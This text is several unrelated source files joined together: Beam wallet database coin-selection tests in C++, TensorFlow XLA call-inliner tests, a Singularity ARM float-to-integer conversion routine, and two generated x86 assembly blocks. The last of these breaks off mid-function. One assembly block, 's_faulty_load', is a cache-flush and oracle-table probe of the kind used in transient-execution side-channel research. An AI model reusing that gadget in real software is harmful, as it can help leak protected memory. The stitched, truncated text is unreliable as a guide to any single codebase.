vector<Coin::ID> ExtractIDs(const vector<Coin>& src)
{
vector<Coin::ID> res;
res.reserve(src.size());
for (const Coin& c : src)
res.push_back(c.m_ID);
return res;
}
void TestSelect()
{
cout << "\nWallet database coin selection 1 test\n";
auto db = createSqliteWalletDB();
const Amount c = 10;
for (Amount i = 1; i <= c; ++i)
{
Coin coin = CreateAvailCoin(i);
db->store(coin);
}
for (Amount i = 1; i <= c; ++i)
{
auto coins = db->selectCoins(i);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == i);
}
{
auto coins = db->selectCoins(56);
WALLET_CHECK(coins.empty());
}
{
auto coins = db->selectCoins(55);
WALLET_CHECK(coins.size() == 10);
}
{
auto coins = db->selectCoins(15);
WALLET_CHECK(coins.size() == 2);
}
for (Amount i = c + 1; i <= 55; ++i)
{
auto coins = db->selectCoins(i);
WALLET_CHECK(!coins.empty());
}
// double coins
for (Amount i = 1; i <= c; ++i)
{
Coin coin = CreateAvailCoin(i);
db->store(coin);
}
for (Amount i = 1; i <= c; ++i)
{
auto coins = db->selectCoins(i);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == i);
}
{
auto coins = db->selectCoins(111);
WALLET_CHECK(coins.empty());
}
{
auto coins = db->selectCoins(110);
WALLET_CHECK(coins.size() == 20);
}
for (Amount i = c + 1; i <= 110; ++i)
{
auto coins = db->selectCoins(i);
WALLET_CHECK(!coins.empty());
auto sum = accumulate(coins.begin(), coins.end(), Amount(0), [](const auto& left, const auto& right) {return left + right.m_ID.m_Value; });
WALLET_CHECK(sum == i);
}
{
db->remove(ExtractIDs(db->selectCoins(110)));
vector<Coin> coins = {
CreateAvailCoin(2),
CreateAvailCoin(1),
CreateAvailCoin(9) };
db->store(coins);
coins = db->selectCoins(6);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 9);
}
{
db->remove(ExtractIDs(db->selectCoins(12)));
vector<Coin> coins = {
CreateAvailCoin(2),
CreateAvailCoin(4),
CreateAvailCoin(4),
CreateAvailCoin(4),
CreateAvailCoin(4) };
db->store(coins);
coins = db->selectCoins(5);
WALLET_CHECK(coins.size() == 2);
WALLET_CHECK(coins.back().m_ID.m_Value == 2);
}
{
db->remove(ExtractIDs(db->selectCoins(18)));
vector<Coin> coins = {
CreateAvailCoin(4),
CreateAvailCoin(4),
CreateAvailCoin(4),
CreateAvailCoin(4) };
db->store(coins);
coins = db->selectCoins(1);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 4);
}
{
db->remove(ExtractIDs(db->selectCoins(16)));
vector<Coin> coins = {
CreateAvailCoin(3),
CreateAvailCoin(4),
CreateAvailCoin(5),
CreateAvailCoin(7) };
db->store(coins);
coins = db->selectCoins(6);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 7);
}
{
db->remove(ExtractIDs(db->selectCoins(19)));
vector<Coin> coins = {
CreateAvailCoin(1),
CreateAvailCoin(2),
CreateAvailCoin(3),
CreateAvailCoin(4) };
db->store(coins);
coins = db->selectCoins(4);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 4);
coins = db->selectCoins(7);
WALLET_CHECK(coins.size() == 2);
WALLET_CHECK(coins[0].m_ID.m_Value == 4);
WALLET_CHECK(coins[1].m_ID.m_Value == 3);
}
{
db->remove(ExtractIDs(db->selectCoins(10)));
vector<Coin> coins = {
CreateAvailCoin(2),
CreateAvailCoin(5),
CreateAvailCoin(7) };
db->store(coins);
coins = db->selectCoins(6);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 7);
}
{
db->remove(ExtractIDs(db->selectCoins(14)));
vector<Coin> coins = {
CreateAvailCoin(235689),
CreateAvailCoin(2999057),
CreateAvailCoin(500000),
CreateAvailCoin(5000000),
CreateAvailCoin(40000000),
CreateAvailCoin(40000000),
CreateAvailCoin(40000000),
};
db->store(coins);
coins = db->selectCoins(41000000);
WALLET_CHECK(coins.size() == 2);
WALLET_CHECK(coins[1].m_ID.m_Value == 2999057);
WALLET_CHECK(coins[0].m_ID.m_Value == 40000000);
coins = db->selectCoins(4000000);
WALLET_CHECK(coins.size() == 1);
WALLET_CHECK(coins[0].m_ID.m_Value == 5000000);
}
}
vector<Coin> SelectCoins(IWalletDB::Ptr db, Amount amount, bool printCoins = true)
{
helpers::StopWatch sw;
cout << "Selecting " << amount << " Groths\n";
sw.start();
auto selectedCoins = db->selectCoins(amount);
sw.stop();
cout << "Elapsed time: " << sw.milliseconds() << " ms\n";
Amount sum = 0;
for (auto coin : selectedCoins)
{
sum += coin.m_ID.m_Value;
if (printCoins)
{
LOG_INFO() << coin.m_ID.m_Value;
}
}
LOG_INFO() << "sum = " << sum << " change = " << sum - amount;
WALLET_CHECK(amount <= sum);
#ifdef NDEBUG
WALLET_CHECK(sw.milliseconds() <= 1000);
#endif // !NDEBUG
return selectedCoins;
}
void TestSelect2()
{
cout << "\nWallet database coin selection 2 test\n";
auto db = createSqliteWalletDB();
const Amount c = 100000;
vector<Coin> t;
t.reserve(c);
for (Amount i = 1; i <= c; ++i)
{
t.push_back(CreateAvailCoin(40000000));
}
db->store(t);
{
Coin coin = CreateAvailCoin(30000000);
db->store(coin);
}
auto coins = SelectCoins(db, 347'000'000, false);
WALLET_CHECK(coins.size() == 9);
WALLET_CHECK(coins[8].m_ID.m_Value == 30000000);
}
void TestTxParameters()
{
cout << "\nWallet database transaction parameters test\n";
auto db = createSqliteWalletDB();
TxID txID = { {1, 3, 5} };
// public parameter cannot be overriten
Amount amount = 0;
WALLET_CHECK(!storage::getTxParameter(*db, txID, TxParameterID::Amount, amount));
WALLET_CHECK(amount == 0);
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::Amount, 8765, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::Amount, amount));
WALLET_CHECK(amount == 8765);
WALLET_CHECK(!storage::setTxParameter(*db, txID, TxParameterID::Amount, 786, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::Amount, amount));
WALLET_CHECK(amount == 8765);
// private parameter can be overriten
TxStatus status = TxStatus::Pending;
WALLET_CHECK(!storage::getTxParameter(*db, txID, TxParameterID::Status, status));
WALLET_CHECK(status == TxStatus::Pending);
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::Status, TxStatus::Completed, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::Status, status));
WALLET_CHECK(status == TxStatus::Completed);
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::Status, TxStatus::InProgress, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::Status, status));
WALLET_CHECK(status == TxStatus::InProgress);
// check different types
ByteBuffer b = { 1, 2, 3 };
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::Status, b, false));
ByteBuffer b2;
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::Status, b2));
WALLET_CHECK(equal(b.begin(), b.end(), b2.begin(), b2.end()));
ECC::Scalar::Native s, s2;
s = 123U;
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::BlindingExcess, s, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::BlindingExcess, s2));
WALLET_CHECK(s == s2);
ECC::Point p;
p.m_X = unsigned(143521);
p.m_Y = 0;
ECC::Point::Native pt, pt2;
pt.Import(p);
WALLET_CHECK(storage::setTxParameter(*db, txID, TxParameterID::PeerPublicNonce, pt, false));
WALLET_CHECK(storage::getTxParameter(*db, txID, TxParameterID::PeerPublicNonce, pt2));
WALLET_CHECK(p == pt2);
}
void TestSelect3()
{
cout << "\nWallet database coin selection 3 test\n";
auto db = createSqliteWalletDB();
const uint32_t count = 2500;
const uint32_t partCount = 100;
Amount startAmount = 80'000'000;
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
Amount a = Amount(startAmount / pow(2, i / partCount));
coins.push_back(CreateAvailCoin(a));
}
db->store(coins);
{
Coin coin = CreateAvailCoin(30'000'000);
db->store(coin);
}
SelectCoins(db, 45'678'910);
}
void TestSelect4()
{
cout << "\nWallet database coin selection 4 test\n";
auto db = createSqliteWalletDB();
vector<Coin> coins;
coins.push_back(CreateAvailCoin(2));
coins.push_back(CreateAvailCoin(30101));
coins.push_back(CreateAvailCoin(30102));
coins.push_back(CreateAvailCoin(32000));
db->store(coins);
SelectCoins(db, 60203);
}
void TestSelect5()
{
cout << "\nWallet database coin selection 5 test\n";
auto db = createSqliteWalletDB();
const uint32_t count = 10000;
const uint32_t partCount = 400;
Amount startAmount = 40'000'000;
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
Amount a = Amount(startAmount / pow(2, i / partCount));
coins.push_back(CreateAvailCoin(a));
}
db->store(coins);
{
Coin coin = CreateAvailCoin(30'000'000);
db->store(coin);
}
SelectCoins(db, 45'678'910);
}
void TestSelect6()
{
cout << "\nWallet database coin selection 6 test\n";
const uint32_t count = 100000;
{
auto db = createSqliteWalletDB();
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
coins.push_back(CreateAvailCoin(Amount(i)));
}
db->store(coins);
SelectCoins(db, 450'678'910, false);
}
{
auto db = createSqliteWalletDB();
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
Amount amount = rand();
coins.push_back(CreateAvailCoin(amount));
}
db->store(coins);
SelectCoins(db, 450'678'910, false);
}
{
auto db = createSqliteWalletDB();
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
Amount amount = rand() % 10000;
coins.push_back(CreateAvailCoin(amount));
}
db->store(coins);
SelectCoins(db, 450'678'910, false);
}
{
auto db = createSqliteWalletDB();
vector<Coin> coins;
coins.reserve(count);
for (uint32_t i = 1; i <= count; ++i)
{
Amount amount = 1000000 + rand() % 100000;
coins.push_back(CreateAvailCoin(amount));
}
db->store(coins);
SelectCoins(db, 450'678'910, false);
}
}
void TestWalletMessages()
{
auto db = createSqliteWalletDB();
{
auto messages = db->getWalletMessages();
WALLET_CHECK(messages.empty());
}
WalletID walletID = Zero;
WALLET_CHECK(walletID.FromHex("6b5992ffed7cb3c86bb7e408edfecafa047701eaa197ebf5b9e2df2f21b40caa4a"));
{
wallet::SetTxParameter msg;
msg.m_From = walletID;
msg.AddParameter(TxParameterID::Amount, 100);
msg.AddParameter(TxParameterID::PeerID, walletID);
msg.AddParameter(TxParameterID::Lifetime, 130);
auto id = db->saveWalletMessage(WalletMessage{ 0, walletID, toByteBuffer(msg)});
WALLET_CHECK(id == 1);
auto messages = db->getWalletMessages();
WALLET_CHECK(messages.size() == 1);
WALLET_CHECK(messages[0].m_ID == 1);
WALLET_CHECK(messages[0].m_PeerID == walletID);
Amount amount = 0;
SetTxParameter message;
WALLET_CHECK(fromByteBuffer(messages[0].m_Message, message));
WALLET_CHECK(message.GetParameter(TxParameterID::Amount, amount) && amount == 100);
WalletID walletID2 = Zero;
WALLET_CHECK(message.GetParameter(TxParameterID::PeerID, walletID2) && walletID2 == walletID);
Height lifetime = 0;
WALLET_CHECK(message.GetParameter(TxParameterID::Lifetime, lifetime) && lifetime == 130);
}
{
wallet::SetTxParameter msg;
msg.m_From = walletID;
msg.AddParameter(TxParameterID::Amount, 200);
msg.AddParameter(TxParameterID::PeerID, walletID);
msg.AddParameter(TxParameterID::Lifetime, 230);
auto id = db->saveWalletMessage(WalletMessage{ 0, walletID, toByteBuffer(msg) });
WALLET_CHECK(id == 2);
auto messages = db->getWalletMessages();
WALLET_CHECK(messages.size() == 2);
WALLET_CHECK(messages[1].m_ID == 2);
WALLET_CHECK(messages[1].m_PeerID == walletID);
Amount amount = 0;
SetTxParameter message;
WALLET_CHECK(fromByteBuffer(messages[1].m_Message, message));
WALLET_CHECK(message.GetParameter(TxParameterID::Amount, amount) && amount == 200);
WalletID walletID2 = Zero;
WALLET_CHECK(message.GetParameter(TxParameterID::PeerID, walletID2) && walletID2 == walletID);
Height lifetime = 0;
WALLET_CHECK(message.GetParameter(TxParameterID::Lifetime, lifetime) && lifetime == 230);
}
{
WALLET_CHECK_NO_THROW(db->deleteWalletMessage(0));
WALLET_CHECK_NO_THROW(db->deleteWalletMessage(10));
auto messages = db->getWalletMessages();
WALLET_CHECK(messages.size() == 2);
}
{
db->deleteWalletMessage(1);
auto messages = db->getWalletMessages();
WALLET_CHECK(messages.size() == 1);
}
{
auto incoming = db->getIncomingWalletMessages();
WALLET_CHECK(incoming.empty());
ByteBuffer b = { 1, 45, 6 };
auto id = db->saveIncomingWalletMessage(23, b);
WALLET_CHECK(id == 1);
incoming = db->getIncomingWalletMessages();
WALLET_CHECK(incoming.size() == 1);
WALLET_CHECK(incoming[0].m_Message == b);
WALLET_CHECK(incoming[0].m_Channel == 23);
db->deleteIncomingWalletMessage(1);
incoming = db->getIncomingWalletMessages();
WALLET_CHECK(incoming.empty());
}
}
}
int main()
{
int logLevel = LOG_LEVEL_DEBUG;
#if LOG_VERBOSE_ENABLED
logLevel = LOG_LEVEL_VERBOSE;
#endif
auto logger = beam::Logger::create(logLevel, logLevel);
ECC::InitializeContext();
io::Reactor::Ptr mainReactor{ io::Reactor::create() };
io::Reactor::Scope scope(*mainReactor);
TestWalletDataBase();
TestStoreCoins();
TestStoreTxRecord();
TestTxRollback();
TestRollback();
TestSelect();
TestSelect2();
TestSelect3();
TestSelect4();
TestSelect5();
TestSelect6();
TestAddresses();
TestExportImportTx();
TestTxParameters();
TestWalletMessages();
return WALLET_CHECK_RESULT;
}
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/service/call_inliner.h"
#include <memory>
#include <utility>
#include "tensorflow/compiler/xla/layout_util.h"
#include "tensorflow/compiler/xla/literal.h"
#include "tensorflow/compiler/xla/ptr_util.h"
#include "tensorflow/compiler/xla/service/hlo_computation.h"
#include "tensorflow/compiler/xla/service/hlo_instruction.h"
#include "tensorflow/compiler/xla/service/hlo_matchers.h"
#include "tensorflow/compiler/xla/service/hlo_opcode.h"
#include "tensorflow/compiler/xla/service/hlo_pass_fix.h"
#include "tensorflow/compiler/xla/shape_util.h"
#include "tensorflow/compiler/xla/test.h"
#include "tensorflow/compiler/xla/tests/hlo_test_base.h"
#include "tensorflow/compiler/xla/types.h"
#include "tensorflow/compiler/xla/xla_data.pb.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/lib/strings/str_util.h"
namespace op = xla::testing::opcode_matchers;
namespace xla {
namespace {
// Tests for call inlining that are most tractable at the HLO level (vs
// ComputationBuilder API in call_test.cc).
using CallInlinerTest = HloTestBase;
TEST_F(CallInlinerTest, ControlDependenciesAreCarriedToCaller) {
// "inner" computation just has a control dependency from the "zero" value to
// the "one" value.
HloComputation::Builder inner(TestName() + ".inner");
HloInstruction* zero = inner.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<float>(24.0f)));
HloInstruction* one = inner.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<float>(42.0f)));
TF_ASSERT_OK(zero->AddControlDependencyTo(one));
auto module = CreateNewModule();
HloComputation* inner_computation =
module->AddEmbeddedComputation(inner.Build());
// "outer" computation just calls the "inner" computation.
HloComputation::Builder outer(TestName() + ".outer");
Shape r0f32 = ShapeUtil::MakeShape(F32, {});
outer.AddInstruction(
HloInstruction::CreateCall(r0f32, {}, inner_computation));
auto computation = module->AddEntryComputation(outer.Build());
CallInliner call_inliner;
TF_ASSERT_OK_AND_ASSIGN(bool mutated, call_inliner.Run(module.get()));
ASSERT_TRUE(mutated);
EXPECT_THAT(computation->root_instruction(), op::Constant());
EXPECT_EQ(computation->root_instruction()->literal().GetFirstElement<float>(),
42);
ASSERT_EQ(1, computation->root_instruction()->control_predecessors().size());
auto prior = computation->root_instruction()->control_predecessors()[0];
EXPECT_THAT(prior, op::Constant());
EXPECT_EQ(prior->literal().GetFirstElement<float>(), 24);
}
// Tests for referential transparency (a function that calls a function that
// returns false should be identical to just returning false).
TEST_F(CallInlinerTest, CallsWithinWhileBodiesAreInlined) {
const Shape pred = ShapeUtil::MakeShape(PRED, {});
auto module = CreateNewModule();
// Create a lambda that calls a function that returns the false predicate.
// Note we also use this lambda twice by reference, just to make the test a
// little trickier.
HloComputation::Builder just_false(TestName() + ".false");
just_false.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<bool>(false)));
HloComputation* false_computation =
module->AddEmbeddedComputation(just_false.Build());
HloComputation::Builder call_false_builder(TestName() + ".call_false");
call_false_builder.AddInstruction(
HloInstruction::CreateCall(pred, {}, false_computation));
HloComputation* call_false =
module->AddEmbeddedComputation(call_false_builder.Build());
HloComputation::Builder outer(TestName() + ".outer");
HloInstruction* init_value = outer.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<bool>(false)));
outer.AddInstruction(
HloInstruction::CreateWhile(pred, call_false, call_false, init_value));
auto computation = module->AddEntryComputation(outer.Build());
CallInliner call_inliner;
TF_ASSERT_OK_AND_ASSIGN(bool mutated, call_inliner.Run(module.get()));
ASSERT_TRUE(mutated);
EXPECT_THAT(
computation->root_instruction()->while_condition()->root_instruction(),
op::Constant());
EXPECT_THAT(computation->root_instruction()->while_body()->root_instruction(),
op::Constant());
}
// Check CallInliner::Inline, which inlines a specific call without running the
// whole pass.
TEST_F(CallInlinerTest, InlineWithoutRunningPass) {
const Shape pred = ShapeUtil::MakeShape(PRED, {});
auto module = CreateNewModule();
HloComputation::Builder just_false(TestName() + ".false");
auto* true_constant = just_false.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR1<bool>({true})));
auto* false_constant = just_false.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<bool>(false)));
TF_ASSERT_OK(false_constant->AddControlDependencyTo(true_constant));
HloComputation* false_computation =
module->AddEmbeddedComputation(just_false.Build());
HloComputation::Builder call_false_builder(TestName() + ".call_false");
HloInstruction* call = call_false_builder.AddInstruction(
HloInstruction::CreateCall(pred, {}, false_computation));
auto computation = module->AddEntryComputation(call_false_builder.Build());
TF_ASSERT_OK(CallInliner::Inline(call).status());
EXPECT_THAT(computation->root_instruction(), op::Constant());
EXPECT_THAT(computation->root_instruction()->control_successors(),
ElementsAre(op::Constant()));
}
TEST_F(CallInlinerTest, CallToOutfeedComputationIsInlined) {
const Shape f32 = ShapeUtil::MakeShape(F32, {});
auto module = CreateNewModule();
HloComputation::Builder outfeeder(TestName() + ".outfeeder");
auto value = outfeeder.AddInstruction(
HloInstruction::CreateConstant(LiteralUtil::CreateR0<float>(42.0)));
auto token = outfeeder.AddInstruction(HloInstruction::CreateToken());
outfeeder.AddInstruction(
HloInstruction::CreateOutfeed(f32, value, token, /*outfeed_config=*/""));
auto outfeed_computation = module->AddEmbeddedComputation(outfeeder.Build());
HloComputation::Builder outer(TestName() + ".outer");
outer.AddInstruction(HloInstruction::CreateCall(
outfeed_computation->root_instruction()->shape(), /*operands=*/{},
outfeed_computation));
module->AddEntryComputation(outer.Build());
CallInliner call_inliner;
TF_ASSERT_OK_AND_ASSIGN(bool mutated, call_inliner.Run(module.get()));
ASSERT_TRUE(mutated);
}
} // namespace
} // namespace xla
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1d592, %r9
nop
lfence
mov (%r9), %cx
nop
nop
nop
and %r15, %r15
lea addresses_WT_ht+0x3260, %rsi
lea addresses_normal_ht+0x641e, %rdi
nop
cmp %rbx, %rbx
mov $58, %rcx
rep movsq
nop
nop
sub $60022, %r13
lea addresses_WT_ht+0x77b0, %r9
and $27968, %r13
movb $0x61, (%r9)
nop
nop
nop
add %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_UC+0x1c6b0, %rdi
clflush (%rdi)
nop
nop
nop
nop
cmp $33101, %rax
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%rdi)
nop
nop
nop
nop
nop
and $23457, %rsi
// REPMOV
lea addresses_A+0x6eb0, %rsi
lea addresses_WC+0x138b0, %rdi
nop
nop
nop
cmp $58040, %rdx
mov $14, %rcx
rep movsw
nop
nop
sub $55648, %r13
// Faulty Load
lea addresses_WC+0x10eb0, %r12
clflush (%r12)
add $41507, %rsi
movups (%r12), %xmm0
vpextrq $1, %xmm0, %rax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'38': 178}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Microsoft Research Singularity
;;;
;;; Copyright (c) Microsoft Corporation. All rights reserved.
;;;
;;; This file contains ARM-specific assembly code.
;;;
; __dtou64 double precision floating point to unsigned 64-bit integer convert
;
; Input: r1 - Most significant word of the double to be converted
; r0 - Least significant word of the double to be converted
;
; Output: r1 - Most significant word of the converted double in unsigned
; 64-bit integer format
; r0 - Least significant word of the converted double in unsigned
; 64-bit integer format
;
; Local storage size and offsets
LOC_SIZE EQU 0x18
OrgOp1h EQU 0x14
OrgOp1l EQU 0x10
ExDResh EQU 0x0C
ExDResl EQU 0x08
NewResh EQU 0x14
NewResl EQU 0x10
GET fpe.asm
GET kxarm.inc
AREA |.text|, CODE, READONLY
Export __dtou64
IMPORT FPE_Raise
NESTED_ENTRY __dtou64
EnterWithLR_16
STMFD sp!, {lr} ; Save return address
SUB sp, sp, #LOC_SIZE ; Allocate local storage
PROLOG_END
STR r1, [sp, #OrgOp1h] ; Save off original args in case of exception
ORRS r12, r0, r1, LSL #1 ; Check for zero
STR r0, [sp, #OrgOp1l] ; ..
MOVEQ r1, r0 ; return if zero (r0 already zero)
ADDEQ sp, sp, #LOC_SIZE ; restore stack
IF Interworking :LOR: Thumbing
LDMEQFD sp!, {lr} ; ..
BXEQ lr
ELSE
LDMEQFD sp!, {pc} ; ..
ENDIF
MOVS r2, r1, LSL #1 ; Right justify exponent, save sign bit in C
MOV r1, r1, LSL #11 ; Left justify mantissa
ORR r1, r1, r0, LSR #21 ; ..
; ..
MOV r0, r0, LSL #11 ; ..
ORR r1, r1, #1 << 31 ; Insert hidden one (even for denorms)
BCS _ffix_negative ; If negative input, separate case
MOV r3, #DExp_bias+1 ; r3 = 63 + DExp_bias
ADD r3, r3, #62 ; ..
SUBS r2, r3, r2, LSR #21 ; Determine shift amount
BLT shift_left ; Negative shift is a shift left, NaN,
; or INF
CMP r2, #64 ; See if shifting all bits out
BGE shift_right_64 ; If shifting all bits out, return zero
shift_right
MOV r12, #0 ; Need to clear r12 for inexact check
CMP r2, #32 ; See if shift amount >= 32
BLT shift_right_31 ; If not, shift right 31 or less
MOV r12, r0 ; If >= 32, save lost bits in temp reg,
MOV r0, r1 ; shift by moving words, and
MOV r1, #0 ; adjust the shift amount
SUB r2, r2, #32 ; ..
shift_right_31
RSB r3, r2, #32 ; Check for inexact
ORRS r12, r12, r0, LSL r3 ; ..
MOV r0, r0, LSR r2 ; Shift the result
ORR r0, r0, r1, LSL r3 ; ..
MOV r1, r1, LSR r2 ; ..
MOVNE r3, #INX_bit ; Set inexact if inexact
MOVEQ r3, #0 ; Otherwise set to no exceptions
B __dtou64_return ; Return
shift_left
RSB r2, r2, #0 ; Get left shift amount
CMP r2, #32 ; If >= 32, shift by moving words, and
MOVGE r1, r0 ; adjusting shift amount
MOVGE r0, #0 ; ..
SUBGE r2, r2, #32 ; ..
MOV r1, r1, LSL r2 ; Perform rest of shift
RSB r3, r2, #32 ; ..
ORR r1, r1, r0, LSR r3 ; ..
MOV r0, r0, LSL r2 ; ..
MOV r3, #IVO_bit ; Overflow so set invalid operation
B __dtou64_return ; Return
shift_right_64 ; 0.0 < abs(Arg) < 1.0, so losing all bits
MOV r3, #INX_bit ; Set inexact
MOV r0, #0 ; Return zero
MOV r1, #0 ; ..
B __dtou64_return ; Return
_ffix_negative
MOV r3, #DExp_bias+1 ; r3 = 63 + DExp_bias
ADD r3, r3, #62 ; ..
SUBS r2, r3, r2, LSR #21 ; Determine shift amount
BLT shift_left_neg ; Negative shift is a shift left, NaN,
; or INF
CMP r2, #64 ; See if shifting all bits out
BGE shift_right_64 ; If shifting all bits out, return zero
shift_right_neg
CMP r2, #32 ; See if shift amount >= 32
MOVGE r0, r1 ; If is shift by moving words, and
MOVGE r1, #0 ; adjust the shift amount
SUBGE r2, r2, #32 ; ..
shift_right_31_neg
RSB r3, r2, #32 ; 32 - right shift amount
MOV r0, r0, LSR r2 ; Shift the result
ORR r0, r0, r1, LSL r3 ; ..
MOV r1, r1, LSR r2 ; ..
RSBS r0, r0, #0 ; Negate result
RSC r1, r1, #0 ; ..
MOV r3, #IVO_bit ; Set invalid operation as negative
B __dtou64_return ; Return
shift_left_neg
RSB r2, r2, #0 ; Get left shift amount
CMP r2, #32 ; If >= 32, shift by moving words, and
MOVGE r1, r0 ; adjusting shift amount
MOVGE r0, #0 ; ..
SUBGE r2, r2, #32 ; ..
MOV r1, r1, LSL r2 ; Perform rest of shift
RSB r3, r2, #32 ; ..
ORR r1, r1, r0, LSR r3 ; ..
MOV r0, r0, LSL r2 ; ..
RSBS r0, r0, #0 ; Negate result
RSC r1, r1, #0 ; ..
MOV r3, #IVO_bit ; Overflow so set invalid operation
__dtou64_return
TST r3, #FPECause_mask ; Any exceptions?
ADDEQ sp, sp, #LOC_SIZE ; If not, pop off saved arg and
IF Interworking :LOR: Thumbing
LDMEQFD sp!, {lr} ; return
BXEQ lr
ELSE
LDMEQFD sp!, {pc} ; return
ENDIF
ORR r12, r3, #_FpDToU64 ; Save exception info
LDR r3, [sp, #OrgOp1h] ; Load original arg
LDR r2, [sp, #OrgOp1l] ; ..
STR r0, [sp, #ExDResl] ; Store default result
STR r1, [sp, #ExDResh] ; ..
MOV r1, r12 ; Exception information
ADD r0, sp, #NewResl ; Pointer to new result
CALL FPE_Raise ; Handle exception information
IF Thumbing :LAND: :LNOT: Interworking
CODE16
bx pc ; switch back to ARM mode
nop
CODE32
ENDIF
LDR r0, [sp, #NewResl] ; Load new result
LDR r1, [sp, #NewResh] ; ..
ADD sp, sp, #LOC_SIZE ; Pop off exception record and result
IF Interworking :LOR: Thumbing
LDMFD sp!, {lr} ; Return
BX lr
ELSE
LDMFD sp!, {pc} ; Return
ENDIF
ENTRY_END __dtoi64
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x14d7a, %rdx
nop
nop
sub $17645, %rbp
movl $0x61626364, (%rdx)
nop
nop
nop
sub $28773, %r15
lea addresses_WC_ht+0xce8a, %rsi
lea addresses_D_ht+0x15ffa, %rdi
nop
inc %r10
mov $25, %rcx
rep movsb
nop
nop
and $58649, %rcx
lea addresses_A_ht+0x1ebfa, %rbp
nop
and $54622, %rsi
